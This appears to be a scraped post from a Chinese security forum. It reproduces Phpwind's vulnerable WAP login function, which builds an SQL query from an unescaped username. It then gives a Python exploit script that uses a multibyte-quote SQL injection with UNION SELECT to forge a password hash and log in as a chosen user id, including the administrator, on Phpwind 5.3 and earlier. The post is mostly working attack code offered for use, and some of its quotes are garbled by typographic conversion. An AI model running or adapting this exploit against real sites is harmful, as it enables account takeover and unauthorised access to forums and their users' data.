function wap_login($username,$password){
global $db,$timestamp,$onlineip,$db_ckpath,$db_ckdomain,$db_bbsurl;
$men=$db->get_one("SELECT m.uid,m.password,m.groupid,m.yz,md.onlineip FROM pw_members m LEFT JOIN pw_memberdata md ON md.uid=m.uid WHERE username='$username'");
if($men){
$e_login=explode("|",$men['onlineip']);
if($e_login[0]!=$onlineip.’ *’ || ($timestamp-$e_login[1])>600 || $e_login[2]>1 ){
$men_uid=$men['uid'];
$men_pwd=$men['password'];
$check_pwd=$password;
if($men['yz'] > 2){
wap_msg(’c');
}
if(strlen($men_pwd)==16){
$check_pwd=substr($password,8,16);/*支持 16 位 md5截取密码*/
}
if($men_pwd==$check_pwd){
if(strlen($men_pwd)==16){
$db->update(”UPDATE pw_members SET password=’$password’ WHERE uid=’$men_uid’”);
}
$L_groupid=(int)$men['groupid'];
Cookie(”ck_info”,$db_ckpath.”\t”.$db_ckdomain);
}else{
global $L_T;
$L_T=$e_login[2];
$L_T ? $L_T–:$L_T=5;
$F_login=”$onlineip *|$timestamp|$L_T”;
$db->update(”UPDATE pw_memberdata SET onlineip=’$F_login’ WHERE uid=’$men_uid’”);
wap_msg(’login_pwd_error’);
}
}else{
global $L_T;
$L_T=600-($timestamp-$e_login[1]);
wap_msg(’login_forbid’);
}
} else {
global $errorname;
$errorname=$username;
wap_msg(’user_not_exists’);
}
Cookie(”winduser”,StrCode($men_uid.”\t”.PwdCode($password)));
Cookie(’lastvisit’,”,0);
wap_msg(’wap_login’,'index.php’);
}
import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)
argvs=sys.argv
data = "db_wapifopen=1&prog=login&pwuser=shit%c1'union select "+argvs[2]+”,mid(md5(123456),9,16),3,1,5/*&pwpwd=123456″
pwurl = “%s” % argvs[1]
pwurl = pwurl + “wap/index.php”
print “\r\n\r\nPhpwind Admin Pass Change Exploit”
print “Phpwind <=5.3 "
print "By 80sec "
print "python.exe "+argvs[0]+" http://www.80sec.com/pwforum/ 1\r\n"
print "\r\n[+]TargetForum: "+argvs[1]
print "[+]TargetId: "+argvs[2]
request = urllib2.Request(
url = pwurl ,
headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},
data = data)
f=opener.open(request)
headers=f.headers.dict
try :
cookie=headers["set-cookie"]
if cookie.index('winduser') :
print "[+]Exploit Success"
else : print "[-]Exploit Failed"
except:
print "[-]Exploit Failed"
欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com./) | Powered by Discuz! 7.2 |